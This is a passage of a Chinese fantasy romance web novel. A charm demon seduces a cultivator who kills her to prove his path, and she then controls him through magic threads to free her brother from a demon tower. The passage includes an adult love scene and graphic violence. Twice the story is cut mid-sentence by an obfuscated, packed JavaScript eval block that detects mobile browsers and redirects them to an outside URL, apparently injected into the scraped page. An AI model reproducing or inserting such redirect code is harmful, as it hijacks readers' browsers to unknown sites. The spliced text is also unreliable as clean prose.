柳心那双微微上挑的细长眸子此刻因湿润变得晶莹圆润,浅紫的瞳孔中星星点点,似有星月流转,长河渐移。 那里,是宋璋从未见过的柔情。 她继而定定看向了宋璋,细眉微蹙,“他有他的道,我有我的路。宋璋,我不能破了他的道,你能明白吗?” 宋璋深深望着她,张了张口,忽然觉得她的心也剧烈收缩起来。无人见处,她袖中的手握紧了掌心绵软的锦帛。 柳心紧紧盯着她,良久宋璋才收回了那种目光,淡淡道了声明白。 这是答应的意思了。柳心笑了笑,伸出手,在宋璋眼前轻轻拂过。 女子双眸微闭,一道光瞬时进入了她体内与之重合。她眉头微皱,不自觉嘤咛一声。 再度睁开眼时,一圈淡紫的光在瞳孔周围流转一圈,继而四散开,混入深黑的夜色之中。 29. 昨日枕边人,今夕挫骨刀 洗心池的水面还漂着一层淡淡的红色,阴冷封闭的洞穴中,血腥的气息久久不散。 长垣靠在石壁上,已经穿上了衣裳。 “宋璋”走到他面前伸出手,鼻息虽然微弱,但已经稳定下来,性命无虞。 不过再泡两天这池子,恐怕就不会如此了。 她将无法衣打开,重新替他穿上。又将袖中的簪子插在了他头上,一声无意识的嘤咛传来。 “心姐——” 长垣皱着眉,似乎沉浸在痛苦的睡梦中。她轻抚了抚他的眉,在他额头缓缓落下一吻。 她深深望着他,自言自语,“你在梦什么呢?是还在想入山门前的日子?想小妹,大姐,还是你娶的那个媳妇?” 她勾了勾嘴角,“别怕,赵长垣。那些都已经是过去了,有我在,我会保护你的,心姐会保护长垣。” 长垣紧皱的眉头似乎松了一些,她也笑了笑。 “赵长垣,你说你是怎么想的?当着你的面,我有些话也说不出口,可是我真的很想知道,在你心里究竟真的喜欢我吗? 我以为你收我为徒,不过是在跟自己较劲满足那点自我感动的欲望罢了。你那师叔发现我,我以为你肯定就要把我交出去了,结果你竟然不肯,还要让我拿着你的无法衣救我弟弟,原来你早就知道我接近你是为了什么,还一直看着我在你跟前出丑……” 说到这里,她有些恼恨,“所以你都知道这些却还不杀我,你不是说天下的妖都是一样口腹蜜剑,天生该死么?那么为什么?” 柳心的手微微发颤,牵住了他的手,“为什么对我不同?” 长垣没有说话,眉头一下子扭成一团,似乎很痛苦的样子。 柳心怅然丢开了手,“罢了,我知道你我注定不同道。” 她深深望着他,转而在他身旁坐下,倚靠着他的肩膀,闭上了眼睛。 既然今生无缘,那便让她最后在梦中放纵一回吧。 屋外嘈杂不断,吹吹打打的喜乐逐渐靠近,睡意未绝的柳心被从被窝里拉出来,强行揩了把脸,突突突地上粉。 柳无静一边替她上妆,一边催促,“叫他们抬轿的慢点儿,新娘子还没好呢!” “昨日叫你不睡,这下好了,花轿都到跟前了。” 柳心看着镜中的柳无静,微微愣神,柳无静敲了她一脑壳,“看什么,睡傻了不成?” “谁的花轿?” “还能是谁,赵家那个小后生呗。我可早说他家穷得一文钱都撞不响,你嫁到他家去,以后可别找我和你爹哭。” “爹?”她说出这称呼时有些陌生,接着便见两个脑袋探了进来。 “阿姐,轿子都到了,你还要磨蹭多久啊?” 柳言打着哈欠,抱臂站在一旁看柳心涂口脂,不忘评论,“咦——好俗艳的颜色,吃了小孩似的。” 柳阿爹猛地给了儿子一个暴栗,“什么颜色在你阿姐身上都是最好看的,你个臭小子,多让赵长垣等等怎么了?娶了我闺女,敢对她不好,我端了他赵家那破地。” 柳心抬头看去,阿爹的模样很模糊,总是看了一面就忘,下一刻就想不起来什么样子。但她记得这熟悉的声音。 她勾了勾嘴角,柳无静听得外边将门撞开的动静,一把扯过红盖头盖在柳心头上,拉了柳言蹲下。 “快快快,快把你姐背过去。别翻下去了!” 柳言背着她一路晃晃悠悠来到门前,一双白底皂靴出现在她眼前,他将她抱起进了轿,一路又吹吹打打进了另一处宅院。 她坐在房里,回想上一次长垣还是个小毛头的生涩模样,想必是觉得害怕多于欣喜。 一股淡淡的酒气从外面进来,她坐直了身体,盖头被微微挑开,先是一双生冷的眼,继而是她熟悉的轮廓。 她主动去解他的衣扣,一颗一颗,她的动作非常慢,好显示出她那双纤细白皙的手,凤仙花染过的指甲抓在那身宽广厚实的胸前,显得格外魅惑。 大红的外衣褪下,接着是里面月白的里衣,他就那么半高不高地伸着手,注视着她的动作。白衣半落,像是掀开房子的一个角,屋内春光一闪,亮煞人眼。 她一面继续掀开衣裳,一面含笑去看眼前人的神情。 衣下的温度有些升高,他脸色微红,眼中却似乎流露出不悦,一把抓住了她的手。 她耸耸肩,停了动作。腿上蜿蜒盘旋,抓着他衣袖顺势攀升。 灼热自衣袍下传递向腹间,女子淡青的罗裙与他的绸裤交叠蹁跹。她的手握着他的肩,乌发从下巴轻轻擦过,抬起头来,盯着他的眼眸。 似有万般柔情欲说还休,万紫千红流转,在他眸中盛开,如烟花点染四散。 他的眼中多了几分绵软,于是回抱住她,将她一把托在桌前。罗裙绣着的是一对凤蝶,一条阳字鸳鸯佩自衣襟正中垂下,堪堪遮盖住一片春情。罗裙褶皱被扯平,向着两边分开,浅青双山夹带一条白水潺潺地流动着。 欲要劈开洞天,先递了那竹枝三根迤逦慢进。 丹蔻猛地嵌入了白袍之中,在他手上落下几道指痕。 他便拨弹点化,枯井桑田之中水生草长,潺潺地生出一片桃源风景,云山碧水,树摇影动…… 她倒在那片炽热中,汗水洇湿渐渐渗入衣衫中。檀口微微喘着气,她抬起头,看着那双迷醉的眼,含着晶莹,贴近了那温软。 “长垣,再也不见了。” 紫色的丝线从并肩的两人手腕缠绕处褪下,回到了“宋璋”手心。 她站起身,欲要倾身贴近长垣,却在半空顿住,还是收住了动作。 终究是要死的人,她便不阻他的道了。 阵铃再度响起,柳心冷眼看着,调动全身灵力汇聚成一团袭去,结界的一角出现了裂痕,随即又迅速弥合,反将柳心吸了过去。 仅凭她一人之力果然无法轻易打破这饕餮皮做的结界。她苦笑,缓缓调出妖丹,紫红的妖丹缓缓渗出裂痕,她心中有如撕裂般痛楚。 强忍着痛,她将那妖丹推至结界中,再次聚气一鼓作气,终于趁着结界碎裂,饕餮吞噬妖丹时钻了进去,收回了妖丹。 整座万妖塔散发着浓烈混浊的妖气,几欲冲破这石塔爆开,却又被一股更强大的气压着,勉强形成了平衡。 塔门前为禁制所封印,一把鎏金的锁横在塔上。柳心深吸一口气,将所剩不多的灵力注入了那封印上,金光化作波纹阵阵荡漾开,却将浓烈的紫气流转散开。 这把锁比结界更难破开,不行,看来非得将另一半妖丹也拿出来不可。 “妖女!你就算将整颗妖丹都拿出来也解不开这锁!” 一股金波猛然向柳心背后袭来,她转身一移,避开了攻击。 扫视一眼,赤峰带着两三个长老并亲信弟子来到了万妖塔。 “我弟弟犯了何错,凭什么要被你们抓来这里?” “就凭他是妖。”赤峰目光如剑,冷冷看着她,“你们妖怪还敢在我青云山地界生事,大放厥词,真是狂妄至极。” “要说狂妄,你们这些自以为是的人才最狂妄。不分青红皂白就要杀进天下妖族,那人呢?天下恶人你们可敢杀尽?” 柳心观赤峰好行大理,脾气不好,因此悄悄将另一半妖丹取出捏在手中,一边于他争执拖延时间。 赤峰闻言果然争道,“人虽恶却无能为恶,有律法道德约束。你们妖身怀异术,无恶不作,若不管制必颠覆人间,为非作歹。妖生来就该死!” “师兄还与她说什么,直杀了她便是。”另一长老已作势抬手要杀她,柳心见状忙道,“这位道长,你们青云山的大弟子可不是这么说的,我记得他说妖也有是非善恶,不可一并而论。你瞧瞧,这青云山也不尽是蠢人么。” 赤峰眼神一暗,“休要胡言乱语。” “何时胡言乱语?你们山里的长垣长青,明悟还有明心小道长,可是与我熟悉得很呢。那夜他在我怀里,温香软玉,饮酒作诗,可比你们这群老东西善解人意得多……” 被点到徒弟名字的几位长老脸色一变,看向了身后的明悟明心。 他们见柳心是妖,惊得话都不会说了,“不……不,我们从未和她有过苟且。她胡说八道!” 手心的妖丹在灵力灌注下已通体赤红,萦绕着一圈灼热,还差一点,再有一会儿就可以将她所有的灵气都与妖丹融合,打破这把锁。 只要打开了这塔,霎时所有妖出来,他们自顾不暇,她还有一线生机。 她媚眼如丝笑道,“明悟道长,怎么翻脸不认人呢?打开阵法要挪动溪边三块石头,逆时针转动,这还是你告诉我的,不然我怎么会这么快找到万妖塔的位置?” “你撒谎!半月前给祖师爷做过生辰,我就再没进过女修所,见都没见过,怎么可能告诉你这些?” “你忘了?六天前,明悟道长夜里梦游,竟梦到我屋里来了,我大受惊吓,你可不就要说些我爱听的哄我呢么?” 她声音娇软,面不改色,让明悟又是气愤又是羞,“我夜里从来不梦游!而且那天夜里我分明在师父房中抄经书。” “不错。七天前明悟给我送柿饼,扯破了我一卷好画,我嫌他毛燥,便让他在我这儿抄经,我打坐了一晚,他也抄了一晚。断不可能出去与你见面!” 宗阑长老赶忙为徒弟证明清白,赤峰闻言心下定了几分,还以为要牵扯出长垣的丑事,还好这妖女满口胡话,倒也可以遮掩过去。 “这妖女满口胡言,随意攀扯,我看是想拖延时间,以行诡计。大家别理她,待我就地处决了她,以绝后患!” 赤峰正说着,就见柳心猛然抛开一阵红光,热浪扑来,火焰擦过众人,闪躲之际,她来到了万妖塔前将烧得滚烫的妖丹逼近那金锁,两股力量对抗着。 此时身后众人也合力袭向她。 她猛然凸出一口血,却仍旧背对着众人,紧紧控制着妖丹与金锁贴近,试图融化它。 “自不量力。” 赤峰冷笑,轻轻一挥手,那金光便陡然一转将原本抗拒的妖丹吸食进去。 她感觉自己的灵气瞬时被一股巨力以极快的速度吸走,随着紫光的黯淡,她一头乌发变白,身体各处出现了闪烁着的血丝。 不,她还不能死。她要救出柳言!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“长……” “喝呜——” 心头的剑抽出,瞬时插入了她喉中。血水瞬时涌上喉咙,又被堵在喉管。她已经没了任何力气,像一只破败的风筝落在地上。 她感到全身的血液在流淌,痛苦逐渐转为麻木,温热的甜丝丝的液体从她身体流过,像躺在春天的小河里,涓涓细流轻抚过她的脸,困倦袭来。 那些往昔的画面一张张浮现在她眼前。 热浪中抱着她一起焚毁的他,站在灶前揉面烧水的他,穿着草鞋布衣套着绳锁满身是血的他…… 冷冽,羞涩,故作姿态,暗笑,懵懂…… 原来一切竟是她一厢情愿,自作多情? 青白的袍角带着干燥的尘土和竹叶的气息,出现在她眼前。 “长垣,剖了她的妖丹,杀了她。” 他缓缓蹲下身,对着她的心口起势。 身下残血已冷,眼泪混着污浊从眼角滑落,她看不到他的脸,看不到他的神情。 只能静静地看着他像拨弄一只濒死的鱼一样,剖心取肺,磨刀去鳞。 他弯腰低头之际,她猛然伸手,利爪穿进了他心脏。 无法衣感受到外力的侵入,打开了结界,长甲被磨去,指骨血肉模糊,却仍旧固执地往里探去。 他已剖出了她剩下的半颗妖丹,抓住她的手甩开。 她转而在他脖间抓下一道血痕。她的血混合着长垣的血化作金色的一道水,凝聚在她掌心。看起来与常态无异。 紫红的魅丝缓缓穿过金水,化作藤蔓,将它们吸收殆尽,继而变作了浓烈的赤色。 魅妖织梦,不与真境。魅妖主梦,不与真人。魅丝吸收长垣的血变成赤红,融为一体,说明他那夜根本就没有失去意识。他是有意入了她的梦,梦里的一切他清清楚楚,借着梦境他在梦中与她欢好,因她破戒。 他是有意的。 “呵……呵呵呵——” 她突然笑了起来,发不出声音,连带着血水咕噜咕噜呼呼作响。 长垣提剑看着她,目光微动,但只一瞬他便压了下去,恢复了那冰冷的神色。 她明白了,她什么都明白了。 从一开始,这就是赵长垣的圈套。 他早就知道她接近他的目的,所以故意捏了傀儡来引诱她去竹林,找到万妖塔。他收她为徒,故意在她面前脱衣,为她买簪,为她承受洗心池水,送她无法衣…… 全是假的,全是为她精心设计的圈套。 昨夜的柔情,千夕的缱绻,全是虚假! 那白发女子的身体有些僵硬,梗着脖子翻过身,头发挡住了半边脸,只从发丝中露出半只眼,死死地盯着他。 她还在徒劳地张着嘴,眼中的恨意几乎穿透他的心脏。 他看懂了她想说的话。 为什么? 赵长垣,为什么要这么对她? 他设下天罗地网,引她入彀。他要网罗的……究竟是什么? 30. 观音梦 长剑发出的一刹那,它仿佛产生了自己的意识,迟迟不肯出鞘。越是抵抗他越是下了决心,额角渗出汗水,拼着全力将剑插入柳心体内。 终于,他如释重负。手头灵气萦绕着他,尾端焦黄。他的手几乎被那炳灵剑震麻。 女妖的目光带着不可置信,继而是深深的恨意。 望着那目光,他的心口突突地跳,像被捣杵锤挞了成百上千遍。他的心在痛,他能感受到,疼痛的同时他却又隐隐散发着兴奋和喜悦。 他做到了。 至道的最后一层,入情放情,参破红尘。 他用手中的这把剑,她的血向苍天证明他做到了。 他缓缓抬起头,望着天,一片冰凉绵密的雪花落在他眉心,渐渐融化…… 在那个冬天,他在竹林坐了三天,大雪几乎埋没了他的下半身,满头的白,满身的血,他几乎与整片竹林融为一体。 长青强行把他拉回去,请来赤峰掌门合力才将他救了回来。 他记得昏迷之中听到长青的话,“真是个笨蛋。捉妖修仙最盛的时代已经过去一百年了,最后一个有望得道的赤练也死了几十年,青云山修仙已经成为了传说。你如此执着又是为什么呢?” 为什么?他想,大概是骨子里的不安和恐惧,又大概是不甘。 暖炉里的热气逐渐化开身上的冰冷,半寒半暖之间,他的膝盖和脚上的冻疮又开始隐隐作祟,从骨缝里摩擦般的疼痛,似乎能闻见那里积压的难闻的骨水。 长青上山前是凌云县的一家卖丝铺子的儿子,家境殷实,因为自幼体弱多病,方士说天生不受富贵,唯有苦修入道方能保命。 他父母这才送了他上山拜在当时年龄最小不问世事的赤峰门下。 这样的疼痛,这样的寒冷,是长青从未感受过,也难以想象的。 寒冷对于穷人,意味着灾难的开始。草木凋零,粮食涨价。一件又一件的布衣套在身上,摸着空心的夹袄,和姐妹挤在一块起。 他穿过乱葬岗里捡来的死人衣服,上山找吃时喝过夹着冰碴的臭水,腥臭的挂着毛的猪皮他如获至宝,甚至吃过至亲手足烹煮熟的肉。 他拉着满车的尸体准备埋在田里时看见一群锦衣绣服的男女抬着一顶小轿经过。他从没闻过的带着温暖的香气短暂地扑在他身上。透过那微微卷起的帘缝,他看见那个男孩儿歪在妇人怀里,脸上热得通红,一手拿着冒着热气的点心,一边享受着妇人悠然起落的团扇。 这一天,所有人都死了。他穿上了所有人的冬衣,明明这是他最应该感到暖和的一天。随着那轿子与他擦肩而过,那阵温热的余风却像冰刀堵在了他胸口。 人,从一出生就注定了他的死亡,注定了他死的路径。贫穷或富有,高兴或失意,从出生那刻起,一环扣一环,无数个推手将他们推向那条狭窄的必经之路。 一代又一代,一年又一年,周而复始,孜孜不倦地重复着既定的轨迹。 他厌恶这样的命运,厌恶为人。他害怕被操纵,害怕饥饿、痛苦,死亡。他想要长生不老,想要跳出那个无我的圈子。 所以他无时无刻不在修炼,食物再好也有入不了腹的那天,衣服再美也有上不了体的一日,皮囊再紧也有腐烂松弛的结局。那些他都不在意,他要得道,他要成仙,他不要做人! 为了这个目标,他可以为之做任何事。 “痴儿——” 他突然听见了一声沉重的叹息,像一口大钟从天而至,将他环在钟内。 接着,他看见脚下变成了一片清澈池水,四周白芒一片。一个神仙女子出现在了眼前。 他忙对她行礼,“长垣拜见观音大士,不知大士所叹为何?” “大道在于通明,在于无欲。俗世无牵无挂,百欲不动心,心思通明方能得道。” 长垣道,“我潜心修炼,对世间荣华富贵纷杂情爱都无所动,自问心无别欲,为何还不能得道,始终不能突破?” “无有相生,虚实真假,混杂不辨,若要真无有,必先得有无,有后真能无,方为真无有。未曾有情何来真无情。要想突破最后一层飞升成仙,必须先动情。” 他从梦中惊醒,开始思索“情”之一字。 动情......怎样才算对一个人动情呢? 怎样才算对一个人有情,怎样爱上一个人? 他下山寻访过许多人,码头那个一身胡茬满身酒气的纤夫不屑地扫他一眼。 “有没有情你不知道啊?小犊子,怕是毛还没长齐呢。这情是什么?” 他一把揽过长垣的肩膀,“男女之间,还不就床上那点事儿吗?没经过男女之事,哪来的男女之情?你呀带上几两银子去一趟红萼楼就知道了!” 红萼楼的姑娘见了他手里的银子,不,见了他,很是高兴。她们将他拉到了厢房里,喝酒,弹琴,跳舞,然后那柔软的躯体就贴了上来。 她靠近他的时候,很奇怪,他的脑中浮现了师兄弟们惊异的神色和方才楼下人鄙夷的眼神。 他一把推开了她,喝了一壶冷茶。 那姑娘不知所措,“小道长,你怎么了?” “你陪我说说话吧。” 姑娘笑了一声,“道长是紧张了吧,没什么的,多了就习惯了,等得了其中滋味道长怕恨不能还俗了。” “不会,我不会还俗。”他一脸冷峻一本正经地说着,那姑娘愣了愣,无奈笑了笑,在他身旁坐了下来。 “那你想和我聊什么呢?” “你喜欢我吗?” “自然喜欢。” 长垣知道她说的是假话,“我是说你对我有情吗?” “那道长对我有情吗?”她反问这个奇怪的客人。 “怎样才能让一个人对另一个人有情?若是方才你我成了男女欢好,是否就会有情了?” 那姑娘闻言笑着摇摇头,“一年里与我欢好过的客人没有百个也有几十个,个个都做这事儿,个个都有情。我只有一颗心,就是掰成十瓣也不够用的。” “道长是有喜欢的姑娘?” 长垣摇摇头,“只是有人告诉我,要体味男女之情必先经男女之事。” 姑娘笑骂一声,“哪个混账王八耍这下流话!情与欲本不必绑在一块儿,若只图欲念,全无感情,那便算不得真情。 不过有情必生欲,欲念随情生。所以若有真情,男女之事也的确能增添情意,算是定情认心的一道口子。两人若全无情意,是绝不愿肌肤相亲,坦然相对的。” 他走出了红萼楼,看见许多平淡夫妻,乱头粗服,粗茶淡饭,一样亲昵欢欣。 他确实有想过与山下一个普通姑娘在一块,体验男女之情。可是他早晚是要成仙离世的,若寻了人间普通女子,给了她念想,成了欢好之事,她不好嫁人,蹉跎一生。若寻了青楼女子,又怕为他们纠缠,被师门得知,名声尽毁。 恰好这时那只魅妖出现了。 这魅妖心怀不轨,他只需抛出一点诱饵她便主动上钩。他知道种瓜得瓜种豆得豆的道理,所以他也倾身其中,对她产生了情意。 他那次进入她的醉梦,知晓了魅妖的幻梦能力。他赌她情愫已深,执念已重,难以根除。于是他清醒着入了最后一场绮梦,与她水乳交融。 幻梦中事,梦了情结,无涉实事,无妨修行。 一梦醒来。他仍是持守道心的修仙者,她仍是那伤人无数,罪孽滔天的妖。 杀她,是天经地义,理所当然。 他杀她的同时也杀死了他心中对红尘的牵挂,对情爱的眷恋。 杀妖证道,同时也添了一桩功迹。 “杀了她!还在犹豫什么?” 赤峰见他久久不取妖丹,心中有些担忧他对这妖旧情仍存。恐日久生变,他干脆朝他们走了过来,拉住了长垣的手,低声催促道,“你想重蹈你师父的覆辙么?” 长垣淡淡看了他一眼,那一眼让赤峰心中顿生寒凉。这小子,怎么怪怪的。 长垣看向了依附在金锁边的那枚妖丹,伸手吸了过来。 赤峰松了一口气,“本还想练化这妖丹,只是方才不知为何,它竟反噬锁妖塔的力量,我看事有妖异,还是直接处理的好。” 不必赤峰说,长垣此时已经感受到了这妖丹的异常,他一触及这妖丹,便感觉身体里的灵气被源源不断地吸食出来。 指尖一阵刺痛,仿佛一根长针扎进了手中,他拉开衣袖低头看去。 一直紫红的发丝般细小的魅丝从地上那“怪物”袖中爬出,穿过妖丹刺进了他的手里。整条手臂内侧,一根红线格外凸出,从手臂穿过骨肉,扎进了心脏。 他额头渗出了细汗,眼睛开始充血。 是魅丝!怎么可能? 赤峰注意到了长垣的异样,“长垣?” 他一把拉过他的手臂,“这是什么?怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056257|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会这样?妖女,你对长垣做了什么?” 柳心没有说话,源源不断的灵力通过妖丹传送到她体内,她身上的血窟渐渐弥合,血丝消失,白发转黑。 脖子上的血也停止了流动,骨头生长出来,她歪了歪脑袋,那双玻璃似的瞳孔已完全变为赤色。 “魅丝啊,摄人心魄,操纵傀儡。怎么,赤峰道长当年在这里没有见过吗?” “怎么可能,长垣有无法衣,百妖不侵……” 长青看着越来越虚弱的长垣,忽然想到了什么,也不顾其他,怒气冲冲道,“你在无法衣上做了什么手脚!” “亏得长垣跟我说相信你对他是真心,把无法衣给了你,你竟然害他!” “他对你说?”柳心似乎想到了什么,脸上笑意渐浓,“原来那也是假的,你们试我,把我当狗耍弄。” 她带着浓烈的恨意望向了眼前那个男人,“赵长垣,好玩儿吗?将我的真心踩抛来丢去,踩在脚下……可是你没想到吧?” 她看着他忽然笑了起来,笑着笑着,血丝混合着湿热落在地上,发出滋滋的炙烤之声。 他是没想到,他怎么可能?怎么可能对她还存着情? 他明明方才亲手把那把剑推进了她心口,他明明已经杀了她。 不,这绝不可能! 他试图靠蛮力劈开体内的魅丝,心脏的刺痛感却更加重了,那根绵软的丝骤然变成钢丝,从心脏延伸向胸腔,腹部,来到脚下,全身各处,都插入了这异物。 然后它渐渐膨胀,渐渐灼热,热到他全身像装了一桶岩浆,热得他失去意识,逐渐模糊。 剧烈的疼痛过后,他猛然倒了下去。 那枚血润的妖丹便回到柳心体内。 长青一个纵步跟了上来,接住了长垣。“长垣?醒醒,长垣?” 灵力输送过后,长垣睁开了眼。长青松了一口气,扛着他往回走,一面对赤峰道,“师父,我先带长垣回……” 背后正对着心脏的位置传来一阵剧痛,长青猛地吐出一口血,跪在了地上。 他怔怔看向长垣,众人都震惊地看着他们。 长垣的目光空洞而冷漠,就像没看到面前的人一样,他召回长剑,朝着正与柳心打斗的赤峰直直刺去。 “长垣你疯了!”众人都飞身上去拦他,却没想到他当真已经一剑穿透了赤峰胸口。 隔着赤峰的身体,血溅在柳心脸上,她含着笑意满意地看着眼前的男人。 “做的很好,现在去把他们都给我杀了。” 众人闻言大骇,除了几位长老功力堪堪与长垣交平外,余下弟子都是肉体凡胎,修炼不精的。 长青捂着胸口,暗道不好,“大家小心,长垣已经被这妖女操控了。我们共开诛妖阵,借助赤练师叔的遗魂合力杀了她。” 明悟首先持剑朝柳心冲了过去,却在长垣拦在面前时生生顿住了脚步。 柳心笑着看着他们,冷笑了一声,“自不量力,长垣,他们就交给你了。无论如何,给我拦住了。” 他不是有无法衣吗?那就跟这群老老少少,同门师兄弟好好玩玩儿吧。 她转过身,重新催动妖丹贴紧了那把金锁。 阿弟,现在没有人再可以阻拦阿姐救你出来了…… 随着妖丹逐渐显现裂缝,血液从柳心口中阵阵涌出。那把锁也在逐渐松动,叮叮叮地晃个不停。 宗阑一面与长垣交手,一面对另两人道,“那锁已经开始松动了,怎么可能!仅凭那妖女的力量,即便是整颗妖丹都烧了也绝无打破结界的可能。” 话音方落,只听一声剧烈的嘶喊,砰地一声,妖丹化作粉碎,炸开了那道金锁。石门内沉重的石枷重重落下。 满身是血的长垣将剑从明悟身上抽出,呆呆地转过身,同众人一样望向了柳心。 暗红的血从她罗裙下蔓延开,所过之处,燃起一阵烈火,迅速吞噬了整座竹林。 “赤练师兄的结界被她破开了……” “怎……怎么可能……” 两位长老嗫喏着,直到看见塔底的一阵金光化作一条缎带萦绕在那浑身是血的妖女身上,渐渐与她的红罗相融。 她侧过身,一头乌发披垂,半掩在分明的轮廓上。金黄帛,红罗裙…… 恍惚间,赤峰脑中猛地浮现出一个熟悉的久远的面孔,他颤抖着指向柳心,“是……是她!柳无静回来了,柳无静!” 31. 魅丝纵傀 长青道,“柳无静是谁?” 柳无静,是那个魅妖。赤峰陷入了回忆。 当年赤练师兄从山下捡了一个孤女,收作弟子。却不想这孤女原是魅妖,蓄意接近勾引,诱使赤练生了情愫。 便操纵魅丝控制赤练偷走青云图,被当时的掌门和师兄弟发现。当时赤练功力深厚,是板上钉钉的下一任掌门,柳无静操纵赤练对自家师父师兄弟大加残杀。 待赤练清醒过来,青云山几乎遍遭屠戮。他自知罪孽深重,悔恨不已。当即诛杀了魅妖,散尽修为,将她镇在万妖塔下。这场祸事最后才得以平息下来。 方才那一瞬,他仿佛看到了那个妖女。她也是魅妖…… 明明修为不高,却真的将结界打破。 他脑中忽然闪过一个可怕的想法,她会不会是柳无静和师兄的女儿? 随即他又否定了这个想法,不,不可能,赤练师兄怎么可能与这妖女有孩子。 一定只是巧合,她只是和柳无静长得有几分相似罢了。 长垣的衣袖被血几乎浸烂,他脚下满是尸体,自己身上也大大小小全是伤痕,仍旧不知疲倦地挥动着。 他们看见柳心已经走进了万妖塔里,长垣一人挥着剑朝他们走来。 赤峰道,“那妖女去塔里了,趁此机会,切断长垣体内的魅丝。” 两个长老和长青一道对长垣施法,长垣体内的魅丝瞬时断开,那双呆滞的黑眸紫光一闪,缓缓恢复了生气。 脚边是柔软的尸体,熟悉的一个个面孔,是他的师兄弟。 手心的黏腻逐渐干涸,他握着剑的手有些颤抖。 方才的回忆涌上心头,他意识到自己做了什么之后久久站在原地没有动作。 “长垣——” 长青上前去拉他,他站在原地像一尊石像那样没有动。 赤峰道:“长垣,你已修至至境,灵力与我们相当,那妖女进了塔,你与我们合力,将她镇在塔内。长青,你来护法。” 长垣头也没抬,扔了剑,却脱下了自己的衣裳。 最后一层单衣尚带着被外衣浸染的红色,他缓缓解开胸前的衣襟,金色的光芒瞬时勾勒出身体的曲线,层层叠叠,显现出网状,却在心口处破了一个洞。 他将手伸进去,打开了系在无法衣上的袋子,摸出了那一个狐狸样式的簪子。 小狐狸睁着一双大眼睛看着他,尾巴蜷曲着半掩在下巴尖,即使木雕粗陋,他却能从中看出那木目中的灵动光彩。 赤峰见长垣不说话,以为他还在方才屠戮同门的震惊之中,因道: “长垣,这一切都是青云的劫数,数十年前你师父有此劫,今日又轮到你。除魔驱妖,我们注定是为此而生的,当初你师父用自己的性命镇压了万妖塔,今日我们几人共同以命为锁,再度封印。也算是为你的师兄弟们报了仇了,你不要再纠结往事了。” “你是说我会死么?” 赤峰道:“为了青云,这是我们的使命。” 长垣忽而嗤笑了一声,众人怪异地看着他,赤峰皱了皱眉,“你不愿?” “不愿。” 赤峰仿佛觉得自己听错了,长垣回过头,缓缓看向了那座萦绕着赤橙光芒的塔。 “别白费力气了,仅凭你们,是无法封印她的。” “区区一个魅妖,不过是要重新弥合赤练师兄的封印才难了些。”他警告长垣,“长垣,你忘了自己的责任了么?” “掌门当真不知道么?”长垣略带嘲弄地看着他。 “还是当年您也根本就不知道事情的真相,没有亲眼见过柳无静用魅丝操纵师父屠戮弟子的场景吧......所以方才魅丝入体时您没有认出那是什么,当年的一切都只是赤练师叔自己散播出的虚言,又或者不乏人了解其中真相,但为了青云的名声,颠倒黑白,横加篡改......” “赵长垣!” 其中一位年纪最大的长老目光一冷,似乎略有激动。 赤峰心中大惊,“你怎么知道柳......” 长垣看向众人的反应,对那位长老笑了笑,“看来是后者了。那只魅妖,柳心,是赤练的女儿。” “长垣,你在胡说什么?”长青觉得长垣身上必定还在被那妖女操纵着,否则怎会如此胡言乱语。 长垣自顾自说着,目光看向了素问,“当初赤练早就知道柳无静是妖的身份,却执意与她相恋,把她带到青云山收作弟子。他们根本不是你们所说的,柳无静勾引了他,欺骗了他,相反,真正欺骗了魅妖的是赤练。” 他看向了长青,“你还记得吧,洗心池边的石块下刻着二人的诗,‘同声若鼓瑟,合韵似鸣琴。’,赤练早就与柳无静结为了夫妻,还有了孩子。他们本可以一直这样瞒着众人,以师徒名义朝夕相伴。可是直到老掌门病重,新一任掌门之位悬空,各位弟子虎视眈眈。 常在河边走,哪有不湿鞋。赤练秘密被发现的担忧终于有一天还是成为了现实。他的师兄弟们有一日发现怀着孕的柳无静,发现他们往日满口道法,满口道德的师兄和一个妖有了情。他们震惊之余要去告诉老掌门。 赤练害怕他与妖成亲生子的事大白天下,慌乱之际,杀了一个师弟,接着众人大打出手,赤练法术高深,对那些人大开杀戒。当日在场之人,无一幸免。 做完这一切后,赤练才发现已经没有回头路了。他杀了自己的同门,这一切罪孽都需要一个借口,于是他顺理成章地推到了柳无静身上。” “柳无静此刻才发现自己的枕边人竟然是这样一个卑鄙无耻的小人,她和他在此决斗,最后因灵力不敌,被赤练关进了万妖塔中。青云山遭此大难,大半弟子都死了,只剩下他一个活口。 自然也有不信他这说辞的。可惜年深日久,当年的知情人也都化作一抔黃土随风逝去。” 长垣带着淡淡的笑意,见目光投向了素问,“是吧,素问长老?” 素问浑浊的眼睛看不清深意,只是道:“这只是你的猜测。前尘往事,都已过去,有什么重要。最重要的是现在。长垣,你不是一直不能突破最后至道吗?现在是天赐良机,过了这一劫,锁了这塔,你便可飞升成仙。” 另一张老则不再劝诱,而是怒骂着,“赵长垣!你贪生怕死,蝇营狗苟,你枉为青云山弟子!” 长垣闻言笑得更厉害了,“成仙?” “呵呵呵呵呵——” 他像个幽灵缓缓从尸山中走过,一边看着脚下的那些熟悉面孔,“看见这满地的血肉了吗?我的手杀了这么多人,作了这么多孽,成仙?” 他笑意戛然而止,露出一种疯魔的神情,“成魔还差不多!为了成仙,我不怕苦,不怕累,不怕饥不怕寒,万事不贪,日日谨守,如履薄冰。我做了这么多,可是为什么!为什么全都毁了!” 